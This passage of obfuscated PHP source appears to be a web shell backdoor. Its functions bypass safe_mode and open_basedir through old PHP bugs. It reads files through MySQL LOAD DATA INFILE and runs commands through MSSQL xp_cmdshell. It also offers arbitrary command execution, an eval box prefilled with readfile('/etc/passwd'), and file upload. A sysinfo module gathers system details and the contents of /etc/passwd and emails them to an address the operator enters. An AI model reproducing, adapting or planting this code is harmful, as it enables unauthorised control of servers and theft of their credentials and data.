6574 echo z6z('', '2') . z7p() . z6w() . '<pre>';
6575 $e = @explode('|', $r);
6576 echo $e[0] . z9x();
6577 @var_dump(@unserialize($e[1]));
6578 echo '</pre>';
6579 echo '</pre>' . z7g() . z7u() . z10w();
6580 break;
6581 case 'ini':
6582 echo z6z('', '2') . z7p() . z6w() . '<pre>';
6583 @var_dump(@parse_ini_file($d . $f, true));
6584 echo '</pre>' . z7g() . z7u() . z10w();
6585 break;
6586 case 'sdb':
6587 echo z6z('', '2') . z7p() . z6w() . '<pre>';
6588 @var_dump(@unserialize(@base64_decode($r)));
6589 echo '</pre>' . z7g() . z7u() . z10w();
6590 break;
6591 case 'img':
6592 if (!@isset($is))
6593 $is = 50;
6594 $inf = @getimagesize($d . $f);
6595 if (@isset($inf[0]) && @isset($inf[1]) && @isset($inf['mime'])) {
6596 $w = $inf[0] / 100 * $is;
6597 $h = $inf[1] / 100 * $is;
6598 $mime = $inf["mime"];
6599 } else {
6600 $w = $h = $t = '';
6601 if (@preg_match('/(jpg|jpeg|gif|png)/i', $r, $m))
6602 $t = ($m[1] === 'jpeg') ? 'jpg' : $m[1];
6603 $mime = 'image/' . @strtolower($t);
6604 }
6605 if (!@isset($white) || !$white) {
6606 echo z5x("center") . z9x();
6607 if ($w != '') {
6608 foreach (array('20', '50', '100', '150', '200') as $v)
6609 echo z5c(array('act' => 'f', 'd', 'f', 'ft' => 'img', 'is' => $v), z8v($v . '%',
6610 ($is == $v ? '17' : '16')));
6611 }
6612 echo z9x(2) . '<img alt="" src="?act=f&f=' . @urlencode($f) .
6613 '&ft=img&white=1&d=' . @urlencode($d) . '"' . ($w != '' ? ' width="' .
6614 $w . '"' : '') . ($h != '' ? ' height="' . $h . '"' : '') .
6615 ' border="0" style="border: 1px solid #DDDDDD;">' . z5j() . z9x(2);
6616 } else {
6617 @ob_clean();
6618 @header("Content-type: " . $mime);
6619 echo $r;
6620 exit();
6621 }
6622 break;
6623 case 'hex':
6624 if (!@isset($hexdump_type))
6625 $hexdump_type = '';
6626 if ($hexdump_type == "full") {
6627 $str = $r;
6628 } else {
6629 $str = @substr($r, 0, 16 * 24);
6630 }
6631 $n = 0;
6632 $a0 = $a1 = $a2 = '';
6633 $ofs = 0;
6634 $len = @strlen($str);
6635 for ($i = 0; $i < $len; $i++) {
6636 $a1 .= @sprintf('%02X', @ord($str[$i])) . z9c();
6637 if (@ord($str[$i]) == 0) {
6638 $a2 .= z5i("0");
6639 } elseif (@ord($str[$i]) >= 0x20 && @ord($str[$i]) <= 0x7E) {
6640 $a2 .= @htmlspecialchars($str[$i]);
6641 } else {
6642 $a2 .= ".";
6643 }
6644 $n++;
6645 if ($n == 24 || ($i + 1 == $len && !@is_int($len / 24))) {
6646 $n = 0;
6647 $a0 .= @sprintf('%08X', $ofs) . z9x();
6648 $a1 .= z9x();
6649 $a2 .= z9x();
6650 $ofs += 24;
6651 }
6652 }
6653 echo z10e(z9f(z6x(z10e(z7i(z9j($a0, '16') . z9j($a1, '17') . z9j($a2, '18')),
6654 '8') . z10e(z9f(z7e(z5c(array('act' => 'f', 'd', 'f', 'ft', 'hexdump_type' => ($hexdump_type ==
6655 'full' ? 'preview' : 'full')), z8v(($hexdump_type == 'full' ? z9s("122") : z9s("121")),
6656 '7')))), '8'))), '2');
6657 break;
6658 case 'download':
6659 @ob_clean();
6660 @header("Content-type: application/octet-stream");
6661 @header("Content-disposition: attachment; filename=\"" . $f . "\";");
6662 echo $r;
6663 exit();
6664 break;
6665 default:
6666 break;
6667 }
6668 } else {
6669 if (!@isset($loadb))
6670 $loadb = 0;
6671 $rbut = z5c($back_form_actions, z8v(z9s("470"), "7"));
6672 if (@empty($f)) {
6673 echo z2b(z9s("469") . $fmsg . z9c(5) . $rbut);
6674 } else {
6675 switch ($ft) {
6676 case 'new':
6677 if (!z4q($d . $f) && z4j($d) && !z0v($d)) {
6678 $loadb = 1;
6679 } elseif (!z4q($d . $f)) {
6680 $loadb = 1;
6681 } elseif (z4q($d . $f) && z4j($d . $f)) {
6682 echo z2b(z9s("468", $d . $f) . z9c(5) . $rbut);
6683 } elseif (z4q($f) && z4j($f)) {
6684 echo z2b(z9s("468", $f) . z9c(5) . $rbut);
6685 }
6686 break;
6687 default:
6688 if (z4q($d . $f) && z4j($d . $f)) {
6689 echo z2b(z9s("468", $d . $f) . z9c(5) . $rbut);
6690 } elseif (z4q($f) && z4j($f)) {
6691 echo z2b(z9s("468", $f) . z9c(5) . $rbut);
6692 } elseif (!z4q($d . $f) && z4j($d) && z0v($d) && @strpos($f, "/") === false) {
6693 echo z2b(z10e(z7i(z9j(z8e(z9s("466", $d . $f)) . z5c(array("act" => "f", "d",
6694 "f", "ft" => "new"), z8v(z9s("195"), "7")) . $rbut)), "2"));
6695 } else {
6696 $loadb = 1;
6697 }
6698 break;
6699 }
6700 }
6701 if ($loadb) {
6702 z1q($d . $f);
6703 $rf_arr = $sqlrf_arr = $wf_arr = array();
6704 $rf_arr["include"] = "include (safe_mode)";
6705 if ($bcurl && @version_compare(@phpversion(), "5.2.0") <= 0)
6706 $rf_arr["curl"] = "curl (open_basedir / PHP <= 4.4.2, 5.1.4)";
6707 if (!$win && z7r('mb_send_mail') && @version_compare(@phpversion(), "5.2.0") <=
6708 0)
6709 $rf_arr["mb_send_mail"] = "mb_send_mail (safe_mode / PHP <= 4.0-4.2.2, 5.x)";
6710 if (z7r('imap_open') && z7r('imap_body') && @version_compare(@phpversion(),
6711 "5.2.0") <= 0)
6712 $rf_arr["imap_body"] = "imap_body (safe_mode on PHP <= 5.1.2)";
6713 if (z7r('ini_restore') && @version_compare(@phpversion(), "5.2.0") <= 0)
6714 $rf_arr["ini_restore"] = "ini_restore (safe_mode / PHP <= 4.4.4, 5.1.6) by NST";
6715 if (z7r('copy') && @version_compare(@phpversion(), "5.2.0") <= 0)
6716 $rf_arr["zlib"] = "copy[compress.zlib://] (safe_mode / PHP <= 4.4.2, 5.1.2)";
6717 if ($bmysql)
6718 $sqlrf_arr["mysql"] = "mysql (safe_mode)";
6719 if ($bmssql)
6720 $sqlrf_arr["mssql"] = "mssql (safe_mode)";
6721 if (z7r('error_log') && @version_compare(@phpversion(), "5.2.2") <= 0)
6722 $wf_arr["error_log"] = "error_log[php://] (open_basedir / PHP <= 5.1.4, 4.4.2)";
6723 if (z7r('readfile') && @version_compare(@phpversion(), "5.2.2") <= 0)
6724 $wf_arr["readfile"] = "readfile[php://] (open_basedir / PHP <= 5.2.1, 4.4.4)";
6725 if (@version_compare(@phpversion(), "5.2.4") <= 0)
6726 $wf_arr["fopen"] = "fopen[srpath://] (open_basedir / PHP v5.2.0)";
6727 if (@count($rf_arr) > 0) {
6728 echo z2b(z9s("128"));
6729 echo z6d();
6730 echo z5c(array("act" => "f", "d", "f" => (@isset($readfile) ? $readfile : $d . $f),
6731 "ft" => "functions", "submit1" => "1"), z10e(z7i(z5t(z9s("129")) . z9j(z6i("readfile",
6732 (@isset($readfile) ? $readfile : $d . $f), "0", "", "9") . z4a("readfile_func",
6733 $rf_arr, "5", 1) . z8v(z9s("130"), "7"))), "2"));
6734 if (@isset($submit1) && $submit1 && @isset($readfile) && !@empty($readfile)) {
6735 echo z9m("2") . z7p() . z5t(z9c()) . z7k();
6736 switch ($readfile_func) {
6737 case 'include':
6738 echo z5w('', '1');
6739 @include ($readfile);
6740 echo z5q();
6741 break;
6742 case 'curl':
6743 echo z5w('', '1');
6744 $ci = @curl_init("file://" . $readfile);
6745 $cf = @curl_exec($ci);
6746 echo @htmlspecialchars($cf);
6747 echo z5q();
6748 break;
6749 case 'mb_send_mail':
6750 echo z5w('', '1');
6751 $temp = tempnam($d, "fname");
6752 if (@file_exists($temp))
6753 @unlink($temp);
6754 $extra = "-C " . $readfile . " -X $temp";
6755 @mb_send_mail(null, null, null, null, $extra);
6756 $str = z9p($temp);
6757 echo @htmlspecialchars($str);
6758 echo z5q();
6759 @unlink($temp);
6760 break;
6761 case 'imap_body':
6762 echo z5w('', '1');
6763 $stream = @imap_open($readfile, "", "");
6764 $str = @imap_body($stream, 1);
6765 echo @htmlspecialchars($str);
6766 @imap_close($stream);
6767 echo z5q();
6768 break;
6769 case 'ini_restore':
6770 @ini_restore("safe_mode");
6771 @ini_restore("open_basedir");
6772 $str = z9p($readfile);
6773 echo z5w('', '1') . @htmlspecialchars($str) . z5q();
6774 break;
6775 case 'zlib':
6776 $str = z9o($readfile);
6777 echo z5w('', '1') . @htmlspecialchars($str) . z5q();
6778 break;
6779 }
6780 echo z7g() . z7u() . z10w();
6781 }
6782 echo z6d();
6783 }
6784 if (@count($sqlrf_arr) > 0) {
6785 echo z2b(z9s("131"));
6786 echo z6d();
6787 echo z5c(array("act" => "f", "d", "f" => (@isset($readfile) ? $readfile : $d . $f),
6788 "ft" => "functions", "submit2" => "1"), z10e(z7i(z5t(z9s("129")) . z9j(z6i("readfile",
6789 (@isset($readfile) ? $readfile : $d . $f), "0", "", "9") . z4a("sqlreadfile_func",
6790 $sqlrf_arr, "5", 1) . z8v(z9s("130"), "7"))) . z7i(z5t(z9s("132")) . z9j(z5u("sqluser",
6791 "root", "4", "", "9") . z9c(2) . z8e(z9s("133")) . z5u("sqlpass", "", "4") . z9c
6792 (2) . z8e(z9s("134")) . z5u("sqlport", "3306", "1") . z9c(2) . z8e(z9s("135")) .
6793 z5u("sqldb", "mysql", "4"))), "2"));
6794 if (@isset($submit2) && $submit2 && @isset($readfile) && !@empty($readfile) && @
6795 isset($sqluser) && @isset($sqlpass) && @isset($sqlport) && @isset($sqldb)) {
6796 echo z9m("2") . z7p() . z5t(z9c()) . z7k();
6797 switch ($sqlreadfile_func) {
6798 case 'mysql':
6799 echo z5w('', '1');
6800 if (@empty($sqlport))
6801 $sqlport = "3306";
6802 $db = @mysql_connect('localhost:' . $sqlport, $sqluser, $sqlpass);
6803 if ($db) {
6804 if (@mysql_select_db($sqldb, $db)) {
6805 @mysql_query("DROP TABLE IF EXISTS temp_mysql_readfile_table");
6806 @mysql_query("CREATE TABLE `temp_mysql_readfile_table` ( `file` LONGBLOB NOT NULL )");
6807 @mysql_query("LOAD DATA INFILE \"" . $readfile . "\" INTO TABLE temp_mysql_readfile_table");
6808 $r = @mysql_query("SELECT * FROM temp_mysql_readfile_table");
6809 while (($r_sql = @mysql_fetch_array($r)) !== false) {
6810 echo @htmlspecialchars($r_sql[0]) . "\r\n";
6811 }
6812 @mysql_query("DROP TABLE IF EXISTS temp_mysql_readfile_table");
6813 } else
6814 echo z9s("136");
6815 @mysql_close($db);
6816 } else
6817 echo z9s("137", "MySQL");
6818 echo z5q();
6819 break;
6820 case 'mssql':
6821 echo z5w('', '1');
6822 if (@empty($sqlport))
6823 $sqlport = "1433";
6824 $db = @mssql_connect('localhost,' . $sqlport, $sqluser, $sqlpass);
6825 if ($db) {
6826 if (@mssql_select_db($sqldb, $db)) {
6827 @mssql_query("drop table mssql_readfile_temp_table", $db);
6828 @mssql_query("create table mssql_readfile_temp_table ( string VARCHAR (500) NULL)",
6829 $db);
6830 @mssql_query("insert into mssql_readfile_temp_table EXEC master.dbo.xp_cmdshell '" .
6831 $readfile . "'", $db);
6832 $res = @mssql_query("select * from mssql_readfile_temp_table", $db);
6833 while (($row = @mssql_fetch_row($res)) !== false) {
6834 echo @htmlspecialchars($row[0]) . "\r\n";
6835 }
6836 @mssql_query("drop table mssql_readfile_temp_table", $db);
6837 } else
6838 echo z9s("136");
6839 @mssql_close($db);
6840 } else
6841 echo z9s("137", "MsSQL");
6842 echo z5q();
6843 break;
6844 }
6845 echo z7g() . z7u() . z10w();
6846 }
6847 echo z6d();
6848 }
6849 if (@count($wf_arr) > 0) {
6850 echo z2b(z9s("138"));
6851 echo z6d();
6852 echo z5c(array("act" => "f", "d", "f" => (@isset($writefile) ? $writefile : $d .
6853 $f), "ft" => "functions", "submit3" => "1"), z10e(z7i(z5t(z9s("139")) . z9j(z5u
6854 ("writefile", $d . $f, "0", "", "9") . z4a("writefile_func", $wf_arr, "5", 1) .
6855 z8v(z9s("141"), "7"))) . z7i(z5t(z9s("140")) . z9j(z5w("writecontent", "1") . (@
6856 isset($writecontent) ? @htmlspecialchars($writecontent) : '<? phpinfo(); ?>') .
6857 z5q())), "2"));
6858 if (@isset($submit3) && $submit3 && @isset($writefile) && !@empty($writefile)) {
6859 echo z9m("2") . z6g() . z5t(z9c()) . z7k();
6860 switch ($writefile_func) {
6861 case 'error_log':
6862 @error_log($writecontent, 3, "php://../../../../../../../../../../../" . $writefile);
6863 if (z4q($writefile))
6864 echo z9s("243");
6865 break;
6866 case 'readfile':
6867 @readfile($writecontent, 3, "php://../../../../../../../../../../../" . $writefile);
6868 if (z4q($writefile))
6869 echo z9s("243");
6870 break;
6871 break;
6872 case 'fopen':
6873 if ($fp = @fopen('srpath://../../../../../../../../../../../' . $writefile, "a")) {
6874 @fputs($fp, $writecontent);
6875 @fclose($fp);
6876 echo z9s("243");
6877 }
6878 break;
6879 default:
6880 break;
6881 }
6882 echo z7g() . z7u() . z10w();
6883 }
6884 echo z6d();
6885 }
6886 }
6887 }
6888}
6889if ($act == 'search') {
6890 $ftarget = 1;
6891 $fullpath = 1;
6892 if (!@isset($s_in) || @empty($s_in))
6893 $s_in = $d;
6894 if (!@isset($sn) || @empty($sn)) {
6895 $sn = "(.*)";
6896 $sn_reg = 1;
6897 }
6898 if (!@isset($sn_reg))
6899 $sn_reg = '';
6900 if (!@isset($st))
6901 $st = '';
6902 if (!@isset($st_reg))
6903 $st_reg = '';
6904 if (!@isset($st_wwo))
6905 $st_wwo = '';
6906 if (!@isset($st_cs))
6907 $st_cs = '';
6908 if (!@isset($st_not))
6909 $st_not = '';
6910 if (!@isset($s_fd))
6911 $s_fd = '';
6912 if (!@isset($s_rec))
6913 $s_rec = '1';
6914 if (!@isset($find_text) || @empty($find_text))
6915 $find_text = "text";
6916 if (!@isset($find_in_dir) || @empty($find_in_dir))
6917 $find_in_dir = $d;
6918 if (!@isset($find_in_files) || @empty($find_in_files))
6919 $find_in_files = "*.php;*.txt";
6920 z0d();
6921 if (@isset($submit) && $submit) {
6922 $found = array();
6923 $found_d = 0;
6924 $found_f = 0;
6925 $search_i_f = 0;
6926 $search_i_d = 0;
6927 $ar = array("sn" => $sn, "sn_reg" => $sn_reg, "st" => $st, "st_reg" => $st_reg,
6928 "st_wwo" => $st_wwo, "st_cs" => $st_cs, "st_not" => $st_not, "s_fd" => $s_fd);
6929 $in = @array_unique(@explode(";", $s_in));
6930 foreach ($in as $v) {
6931 $sdir = $v;
6932 z5f($v);
6933 }
6934 if (@count($found) == 0) {
6935 echo z2b(z9s("160"));
6936 } else {
6937 $nolsmenu = 1;
6938 $nohead = 1;
6939 $ls_a = $found;
6940 $act = "ls";
6941 }
6942 }
6943}
6944if ($act == 'cmd') {
6945 $st_a = array('' => '-', ' 2>&1' => '2>&1');
6946 echo z2b(z10e(z7i(z6x(z8e(z9s("180")) . z9l('', 'command') . z3e(array('act' =>
6947 'cmd', 'd', 'cmdsubmit' => '1')) . z6i('cmd', '', '0') . ($nix ? z4a('stderr', $st_a,
6948 '1', '1') : '') . z8v('»', '7') . z9z(), '', '2') . z6x(z8e(z9s("181")) .
6949 z5c(array('act' => 'cmd', 'd', 'cmdsubmit' => '1'), z2u('scmd', ($win ? $winaliases :
6950 $nixaliases), '0', '1') . ($nix ? z4a('stderr', $st_a, '1', '1') : '') . z8v('»',
6951 '7')), '')), '2'));
6952 echo z9m('2') . z6g() . z6w() . z5w('', '0', 1);
6953 if (@isset($cmdsubmit) && $cmdsubmit) {
6954 echo z9t((@isset($cmd) ? (@isset($stderr) ? $cmd . $stderr : $cmd) : (@isset($stderr) ?
6955 $scmd . $stderr : $scmd)));
6956 }
6957 echo z5q() . z7g() . z7u() . z10w();
6958}
6959if ($act == 'phpinfo') {
6960 $piarr = z0b(1);
6961 $h = 0;
6962 foreach ($piarr as $k => $v) {
6963 echo z2b(@strtoupper($k));
6964 echo z9m('2');
6965 $i = 0;
6966 foreach ($v as $a => $b) {
6967 if (@is_string($b)) {
6968 echo z9f(z9j($a, '14', '25') . z9j($b, '14'), ($i % 2 ? '0' : '1'));
6969 $i++;
6970 }
6971 }
6972 $h++;
6973 echo z10w();
6974 }
6975}
6976if ($act == 'sysinfo') {
6977 $g_arr = array();
6978 $date = @date("D M j G:i:s T Y");
6979 $users = array();
6980 if ($bpasswd)
6981 $users = z6m(1);
6982 $distro = z1n();
6983 $uptime = ($nix && $sh_exec) ? z9t("uptime") : '';
6984 $system = $host = $kernel = "";
6985 $sys = (($nix && $sh_exec) ? z9t("uname -a") : (z7r('php_uname') ? @php_uname("a") :
6986 ' '));
6987 if ($nix)
6988 @list($system, $host, $kernel, ) = @explode(" ", $sys);
6989 if (!@empty($sys))
6990 $g_arr[] = array("System", $sys, $sys);
6991 if (!@empty($system) && !@empty($kernel))
6992 $g_arr[] = array((($linux) ? "Kernel" : "Version"), $system . " " . $kernel, $system .
6993 " " . $kernel);
6994 if (!@empty($distro))
6995 $g_arr[] = array("Distro name", $distro, nl2br($distro));
6996 $idu = "";
6997 if ($nix && $sh_exec) {
6998 $idu = z9t("id");
6999 $eid = @explode(" ", $idu);
7000 if (@count($eid) >= 2)
7001 $idu = $eid[0] . " " . $eid[1];
7002 }
7003 if (!@empty($idu))
7004 $g_arr[] = array("User id", $idu, $idu);
7005 if (!@empty($uptime))
7006 $g_arr[] = array("Uptime", $uptime, $uptime);
7007 if (!@empty($date))
7008 $g_arr[] = array("Local time", $date, $date);
7009 $g_arr[] = array("CPU info", z3f(), z3f());
7010 $mem = z5a();
7011 $g_arr[] = array("RAM info", $mem[0][1], $mem[0][0] . $mem[0][1]);
7012 if ($nix)
7013 $g_arr[] = array("RAM buffered", $mem[1][1], $mem[1][0] . $mem[1][1]);
7014 if ($nix)
7015 $g_arr[] = array("Swap", $mem[2][1], $mem[2][0] . $mem[2][1]);
7016 $disk = z9e();
7017 if (@count($disk) > 1 || !@isset($disk[0][0])) {
7018 foreach ($disk as $dd => $inf) {
7019 $g_arr[] = array("Space on " . $dd, $inf[1], $inf[0] . $inf[1]);
7020 }
7021 } else {
7022 $g_arr[] = array("Disk space", $disk[0][1], $disk[0][0] . $disk[0][1]);
7023 }
7024 if (!@empty($host)) {
7025 $host .= " (" . @gethostbyname($host) . ") ";
7026 }
7027 if (@preg_match('/^\d\.\d\.\d\.\d$/', $saddr)) {
7028 $host .= $saddr;
7029 } else {
7030 $host .= $saddr . " (" . @gethostbyname($saddr) . ")";
7031 }
7032 $g_arr[] = array("Hostname", $host, $host);
7033 if (@count($users) > 0) {
7034 if (@isset($viewusers) && $viewusers) {
7035 $pusers = '';
7036 foreach ($users as $uarr) {
7037 $pusers .= z5c(array("act" => "ls", "d" => $uarr[1]), z8v($uarr[0], "1"), 1) .
7038 z9c() . " ";
7039 }
7040 } else {
7041 $pusers = @count($users) . " users on this box." . z9c() . z5c(array("act" =>
7042 "sysinfo", "d", "viewusers" => "1"), z8v("View", "1"));
7043 }
7044 $g_arr[] = array("System users", "", $pusers);
7045 }
7046 if (@count($g_arr) > 0) {
7047 echo z2b(z9s("479"));
7048 echo z9m('2');
7049 for ($i = 0; $i < @count($g_arr); $i++) {
7050 echo z9f(z9j($g_arr[$i][0], "14", "25") . z9j($g_arr[$i][2], "14", "3"), ($i % 2 ?
7051 '0' : '1'));
7052 }
7053 echo z10w();
7054 }
7055 $bsmed = z8l("safe_mode_exec_dir");
7056 $psmed = (($bsmed) ? @ini_get("safe_mode_exec_dir") : "NONE");
7057 $bsmid = z8l("safe_mode_include_dir");
7058 $psmid = (($bsmid) ? @ini_get("safe_mode_include_dir") : "NONE");
7059 $opendirs = "";
7060 if ($bopendir) {
7061 foreach (z9d(@ini_get("open_basedir")) as $od) {
7062 $opendirs .= z5c(array("act" => "ls", "d" => $od), z8v($od, "1"), 1) . z9c() .
7063 " ";
7064 }
7065 }
7066 $dfnc = z6j();
7067 if (@count($dfnc) > 0) {
7068 $ndfnc = @implode(" ", $dfnc);
7069 $pdfnc = "";
7070 foreach ($dfnc as $fnc)
7071 $pdfnc .= z10y('http://php.net/manual/en/function.' . @str_replace("_", "-", $fnc) .
7072 '.php', $fnc, "1", 1) . z9c() . " ";
7073 } else {
7074 $ndfnc = "NONE";
7075 $pdfnc = z5i("NONE");
7076 }
7077 $p_arr = array();
7078 $p_arr[] = array("PHP Version", @phpversion(), @phpversion() . z9c() . z5c(array
7079 ("act" => "phpinfo", "d"), z8v("PHP Info", "1")));
7080 $p_arr[] = array("Open Basedir", (($bopendir) ? @ini_get("open_basedir") :
7081 "NONE"), (($bopendir) ? $opendirs : z5i("NONE")));
7082 $p_arr[] = array("Safe-mode", (($bsafe) ? "ON" : "OFF"), ($bsafe ? z8z("ON") :
7083 z5i("OFF")));
7084 if ($bsafe) {
7085 $p_arr[] = array("Safe-mode exec dir", $psmed, (($bsmed) ? z5i($psmed) : z8z($psmed)));
7086 $p_arr[] = array("Safe-mode include dir", $psmid, (($bsmid) ? z5i($psmid) : z8z
7087 ($psmid)));
7088 }
7089 foreach (array("register_globals", "allow_url_fopen", "allow_url_include",
7090 "memory_limit", "file_uploads", "upload_tmp_dir", "upload_max_filesize",
7091 "post_max_size", "magic_quotes_gpc") as $ini) {
7092 $p_arr[] = array(z3r(@str_replace("_", " ", $ini)), z4r(@ini_get($ini)), z4r(@
7093 ini_get($ini)));
7094 }
7095 $p_arr[] = array("Disabled Functions", $ndfnc, $pdfnc);
7096 if (@count($p_arr) > 0) {
7097 echo z2b(z9s("480"));
7098 echo z9m('2');
7099 for ($i = 0; $i < @count($p_arr); $i++) {
7100 echo z9f(z9j($p_arr[$i][0], "14", "25") . z9j($p_arr[$i][2], "14", "3"), ($i % 2 ?
7101 '0' : '1'));
7102 }
7103 echo z10w();
7104 }
7105 if ($nix) {
7106 $o_arr = array();
7107 $tmp = $tmpp = '';
7108 foreach (array("/etc/" => array("passwd", "hosts", "modules", "fstab", "issue",
7109 "issue.net", "motd"), "/proc/" => array("cpuinfo", "meminfo", "version",
7110 "interrupts")) as $ed => $af) {
7111 foreach ($af as $ef) {
7112 if (z4q($ed . $ef) && z0n($ed . $ef)) {
7113 $tmp .= $ed . $ef . " ";
7114 $tmpp .= z5c(array("act" => "f", "d" => $ed, "f" => $ef, "ft" => "text"), z8v($ef,
7115 "1"), 1) . z9c() . " ";
7116 }
7117 }
7118 }
7119 if (!@empty($tmp))
7120 $o_arr[] = array(z9s("482"), $tmp, $tmpp);
7121 $tmp = $tmpp = '';
7122 foreach (array("/etc/" => array("syslog.conf", "syslogd.conf", "rsyslog.conf",
7123 "resolv.conf", "httpd.conf", "apache2.conf", "apache.conf",
7124 "apache2/apache.conf", "proftpd.conf", "proftpd.conf", "inetd.conf"),
7125 "/etc/apache2/" => array("httpd.conf", "apache2.conf"), "/etc/proftpd/" => array
7126 ("proftpd.conf")) as $ed => $af) {
7127 foreach ($af as $ef) {
7128 if (z4q($ed . $ef) && z0n($ed . $ef)) {
7129 $tmp .= $ed . $ef . " ";
7130 $tmpp .= z5c(array("act" => "f", "d" => $ed, "f" => $ef, "ft" => "text"), z8v($ef,
7131 "1"), 1) . z9c() . " ";
7132 }
7133 }
7134 }
7135 if (!@empty($tmp))
7136 $o_arr[] = array(z9s("483"), $tmp, $tmpp);
7137 $tmp = $tmpp = '';
7138 foreach (array("curl", "fetch", "links", "lynx", "GET", "w3m", "wget") as $ef) {
7139 $ff = z8u($ef);
7140 if (!@empty($ff)) {
7141 $tmp .= $ef . " ";
7142 $tmpp .= z5c(array("act" => "f", "d" => z3p($ff), "f" => z2h($ff)), z8v(z2h($ef),
7143 "1"), 1) . z9c() . " ";
7144 }
7145 }
7146 $tmp = $tmpp = '';
7147 foreach (array("gcc", "cc", "c++", "g++", "nasm", "ld", "make", "cmake") as $ef) {
7148 $ff = z8u($ef);
7149 if (!@empty($ff)) {
7150 $tmp .= $ef . " ";
7151 $tmpp .= z5c(array("act" => "f", "d" => z3p($ff), "f" => z2h($ff)), z8v(z2h($ef),
7152 "1"), 1) . z9c() . " ";
7153 }
7154 }
7155 if (!@empty($tmp))
7156 $o_arr[] = array(z9s("484"), $tmp, $tmpp);
7157 $tmp = $tmpp = '';
7158 foreach (array("perl", "python", "php", "ruby", "tcl") as $ef) {
7159 $ff = z8u($ef);
7160 if (!@empty($ff)) {
7161 $tmp .= $ef . " ";
7162 $tmpp .= z5c(array("act" => "f", "d" => z3p($ff), "f" => z2h($ff)), z8v(z2h($ef),
7163 "1"), 1) . z9c() . " ";
7164 }
7165 }
7166 if (!@empty($tmp))
7167 $o_arr[] = array(z9s("485"), $tmp, $tmpp);
7168 if (@count($o_arr) > 0) {
7169 echo z2b(z9s("481"));
7170 echo z9m('2');
7171 for ($i = 0; $i < @count($o_arr); $i++) {
7172 echo z9f(z9j($o_arr[$i][0], "14", "25") . z9j($o_arr[$i][2], "14", "3"), ($i % 2 ?
7173 '0' : '1'));
7174 }
7175 echo z10w();
7176 }
7177 }
7178 if ($bmail) {
7179 $emsg = '';
7180 $msg = '';
7181 if (@isset($sendlog) && $sendlog && @isset($sysmail) && !@empty($sysmail)) {
7182 $line = @str_repeat("-", 100) . "\r\n";
7183 if (@count($g_arr) > 0) {
7184 $msg .= $line . z9s("479") . "\r\n" . $line;
7185 for ($i = 0; $i < @count($g_arr); $i++) {
7186 if (!@empty($g_arr[$i][1]))
7187 $msg .= $g_arr[$i][0] . " : " . $g_arr[$i][1] . "\r\n";
7188 }
7189 }
7190 if (@count($p_arr) > 0) {
7191 $msg .= $line . z9s("480") . "\n" . $line;
7192 for ($i = 0; $i < @count($p_arr); $i++) {
7193 if (!@empty($p_arr[$i][1]))
7194 $msg .= $p_arr[$i][0] . " : " . $p_arr[$i][1] . "\r\n";
7195 }
7196 }
7197 if (@count($o_arr) > 0) {
7198 $msg .= $line . z9s("481") . "\n" . $line;
7199 for ($i = 0; $i < @count($o_arr); $i++) {
7200 if (!@empty($o_arr[$i][1]))
7201 $msg .= $o_arr[$i][0] . " : " . $o_arr[$i][1] . "\r\n";
7202 }
7203 }
7204 $msg .= $line;
7205 if ($bpasswd)
7206 $msg .= "/etc/passwd\n" . $line . z9p("/etc/passwd") . $line;
7207 $emsg = (@mail($sysmail, "SYSINFO|$saddr", $msg) ? z9s("243") : z9s("244"));
7208 }
7209 echo z2b(z9s("302") . (($emsg != '') ? " : " . $emsg : ''));
7210 echo z5c(array("act" => "sysinfo", "d", "sendlog" => "1"), z10e(z5n() . z7i(z6x
7211 (z5u("sysmail", z7x('2', "email"), "0") . z8v(z9s("179"), "7"))) . z5n(), "2"));
7212 }
7213}
7214if ($act == 'eval') {
7215 if (!@isset($evalsubmit)) {
7216 $eval_txt = 1;
7217 } elseif (!@isset($eval_txt)) {
7218 $eval_txt = 0;
7219 }
7220 echo z2b(z9s("182")) . z6d();
7221 echo z10e(z7i(z6x(z5c(array('act' => 'eval', 'd', 'evalsubmit' => '1'), z5w('eval',
7222 '1') . (@isset($eval) ? @htmlspecialchars($eval) : '//readfile("/etc/passwd");' .
7223 "\r\n") . z5q() . z9x() . z5x("left", "3") . z8v(z9s("183"), '7', '9') . z5y("eval_txt",
7224 z9s("184"), "eval_txt") . z5j()))) . z5n(), '2');
7225 if (@isset($evalsubmit) && $evalsubmit) {
7226 $eval = @isset($eval) ? $eval : "";
7227 if (!@empty($eval)) {
7228 $eval_result = "";
7229 $tmp = @ob_get_contents();
7230 $olddir = @realpath(".") || @getcwd();
7231 @chdir($d);
7232 if ($tmp) {
7233 @ob_clean();
7234 eval($eval);
7235 $ret = @ob_get_contents();
7236 $ret = @convert_cyr_string($ret, "d", "w");
7237 @ob_clean();
7238 echo $tmp;
7239 if ($eval_txt) {
7240 $eval_result = @htmlspecialchars($ret);
7241 } else {
7242 $eval_result = $ret;
7243 }
7244 } else {
7245 if ($eval_txt) {
7246 $eval_result = @eval($eval);
7247 } else {
7248 $eval_result = $ret;
7249 }
7250 }
7251 @chdir($olddir);
7252 }
7253 if ($eval_txt) {
7254 echo z10e(z7i(z6x(z5w('', '1', 1) . (@isset($eval_result) ? $eval_result : '') .
7255 z5q())) . z5n(), '2');
7256 } else {
7257 echo $eval_result;
7258 }
7259 }
7260}
7261if ($act == 'upload') {
7262 if (z0v($d)) {
7263 $wdt = (($use_images) ?
7264 '<img alt="+" border="0" style="vertical-align: middle; padding-left:2px;" src="?act=i&img=ok">' :
7265 z5i("+"));
7266 } else {
7267 $wdt = (($use_images) ?
7268 '<img alt="x" border="0" style="vertical-align: middle; padding-left:2px;" src="?act=i&img=cancel">' :
7269 z8z("x"));
7270 }
7271 $a_get = array();
7272 $ls_a = array();
7273 $umsg = $mmsg = $rmsg = '';
7274 if (!@isset($multiupload)) {
7275 if (@isset($usubmit) && $usubmit) {
7276 global $_FILES;
7277 $dest = '';
7278 if (!@empty($_FILES['file1']['tmp_name'])) {
7279 $dest = $_FILES['file1']['name'];
7280 }
7281 if (@isset($rfile1) && !@empty($rfile1)) {
7282 $dest = $rfile1;
7283 }
7284 if (!@isset($path1) || @empty($path1))
7285 $path1 = $d;
7286 $path1 = z1a($path1);
7287 if (!@empty($dest)) {
7288 if (!@move_uploaded_file($_FILES['file1']['tmp_name'], $path1 . $dest)) {
7289 $umsg = z9s("172", array($_FILES['file1']['name'], $_FILES['file1']['tmp_name'],
7290 $path1 . $dest));
7291 } else {
7292 $umsg = z9s("173", array($_FILES['file1']['name'], $path1 . $dest));
7293 $ls_a[] = $path1 . $dest;
7294 $nolsmenu = 1;
7295 $act = "ls";
7296 $d = $path1;
7297 }
7298 $umsg = z10e(z7i(z9j($umsg)));
7299 }
7300 }
